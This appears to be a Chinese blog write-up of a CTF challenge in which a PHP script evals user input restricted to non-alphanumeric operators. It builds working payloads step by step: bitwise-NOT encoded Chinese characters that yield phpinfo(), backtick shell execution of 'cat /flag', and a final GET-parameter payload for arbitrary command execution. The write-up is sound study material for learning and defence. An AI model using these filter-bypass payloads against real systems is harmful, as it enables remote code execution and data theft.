图 | x.com/beprni
来自 2024 江苏移动平台测试题,感觉测试题都不会做了…
题目如下:
<?php
highlight_file(__FILE__);
if(isset($_GET['a1']) && isset($_GET['a2']) && isset($_GET['a3'])){
$a1 = (String)$_GET['a1'];
$a2 = (String)$_GET['a2'];
$a3 = (String)$_GET['a3'];
if(is_numeric($a1) && is_numeric($a2)){
if(preg_match('/^\W+$/', $a3)){
$code = eval("return $a1$a3$a2;");
echo "$a1$a3$a2 = ".$code;
}
}
0x00 分析
还是挺短的,传入三个参数 a1, a2, a3,其中 a1 和 a2 必须是(?)数字。a3 丢进 GPT,

这时候有小聪明可能就开始想到 is_numeric 的绕过了,可能是我太菜了找不到怎么利用。
但是其实这题的重点在于 a3,即使数字和字母以及下划线被禁用了,我们也能 Getshell。可以看 P 神的博客学习:一些不包含数字和字母的webshell。
按照博客的方法,我们可以初步构建出一个 phpinfo 的 Shell:
((~'发'[(">">"<")]).(~'门'[(">">"<")]).(~'发'[(">">"<")]).(~'方'[(">">"<")]).(~'周'[(">">"<")]).(~'晚'[(">">"<")]).(~'吗'[(">">"<")]))()
这段代码相当于执行 ("phpinfo")(),然后我们利用逻辑运算符把三个参数连起来,这里我选 || ,最终 Payload 是这样的:
?a1=0&a2=1&a3=||((~'发'[(">">"<")]).(~'门'[(">">"<")]).(~'发'[(">">"<")]).(~'方'[(">">"<")]).(~'周'[(">">"<")]).(~'晚'[(">">"<")]).(~'吗'[(">">"<")]))()||

成功输出了 phpinfo 页。
我们把上面的稍微改造一下,就能得到 exec() 任意命令执行。
0x01 优化!v1.0
但是构造 exec() 还是太麻烦了,能不能简化一点呢?别忘了 PHP 中还有最特别的一种 Shell 执行方式 —— `` 反引号。它会执行系统命令并且返回执行结果。
那么我们就来改造一下上面的 Payload 吧:
我们首先生成 cat /flag 对应的 Bypass 代码段,代码中 1 用了 (">">"<") 替代,也可以用 !!'.' 得到(应该是符合要求下比较(最?)短的绕过了。然后去掉一些括号,得到 cat /flag 字符串的 Bypass:
~'在'[!!'.'].~'瞰'[!!'.'].~'拾'[!!'.'].' /'.~'晚'[!!'.'].~'品'[!!'.'].~'瞰'[!!'.'].~'明'[!!'.']
然后我们考虑一下怎么使用 `` 执行我们的命令。
由试验可知,反引号内部支持使用 $ 来引用一个变量作为命令。比如:
<?php
$cmd = "whoami";
echo `$cmd`;
会调用 whoami 命令。
当使用 ${expr} 时会执行 expr 语句并引用 expr 的值为名称的变量,比如:
<?php
$a = 1;
echo "${$a += 1}";
echo "$a";
在输出一行错误后(因为没有名称为 2 的变量)输出了 2 ,即此时 $a 已被修改为 2 。
所以我们可以在 ${} 中先把 Shell 赋值给一个变量,再调用。
a3=||`${$喵=~'在'[!!'.'].~'瞰'[!!'.'].~'拾'[!!'.'].' /'.~'晚'[!!'.'].~'品'[!!'.'].~'瞰'[!!'.'].~'明'[!!'.']}#`.`$喵`||
解释一下:
- 用
.来连接两段执行符号,第一段执行符号声明的变量作用域为全局。 #号用来绕过由于不传参导致 Shell 执行失败,导致后面真正的代码执行部分就无法执行
0x02 优化!v2.0
虽然已经优化了许多,但是还是不够优雅。有没有一种能每次更改命令时不用重新手动构造 Payload 的办法呢?有的。
根据上面的试验,当使用 ${expr} 时会执行 expr 语句并引用 expr 的值为名称的变量,所以我们只要构造 _GET[cmd] 就好了。但是 cmd 还要重新构造很麻烦,我们直接换成中文 喵 好了。
最终 Payload:
?a1=0&a3=||`{${~'样'[!!'.'].~'上'[!!'.'].~'了'[!!'.'].~'站'[!!'.']}[喵]}`||&a2=0&喵=cat /flag > output.txt
访问后会在根目录下创建 output.txt ,包含 /flag 内容。
解释一下:
- 用
{}包裹${}是因为用中文作为数组索引,如果不包裹就获取不到 $_GET[喵] 的值,我也不知道为什么。用()包裹是一样的效果。 - 这个命令不支持回显,但是可以用管道符将输出重定向到当前目录。
- 尝试过在 eval 中闭合标签并用 <?= 输出命令回显,但是好像被 return 给拦截了。也就是说在 eval 中 return 语句后的代码都不会被执行,即使是新的 php 代码段。
0x03 感想
一步一步优化 Payload 的感觉很不错,总算有点脱离脚本小子了。
PHP 虽然垃圾,但是还是很有意思的。
